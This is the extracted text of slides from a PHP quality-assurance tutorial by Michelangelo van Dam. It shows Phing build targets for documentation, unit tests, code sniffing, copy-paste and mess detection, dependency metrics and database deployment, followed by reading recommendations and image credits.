phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>

PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>

PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>

Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>

PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>

PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>

PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>

Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>

Other things to automate

• server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync

• execute remote commands with SSH • … so much more

Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> ! <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> ! <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> ! <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>

Build  it

Continuous Integration

Now you are a winner!

Team Works!

Conclusion

Get your information in a consistent, automated way

and make it accessible for the team !

More people can better safeguard the code!

Recommended  reading

• the  PHP  QA  book  -­‐ Sebas;an  Bergmann  -­‐ Stefan  Priebsch

Recommended  reading  3

• OOD  Quality  Metrics  -­‐ Robert  Cecil  Mar;n

Free

hKp://www.objectmentor.com/publica;ons/oodmetrc.pdf

Feedback/Questions

Michelangelo van Dam !

michelangelo@in2it.be !

@DragonBe

joind.in/11778

If you enjoyed this tutorial, thank you If not, tell me how to make it better

Thank you

CreditsI’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515 !!!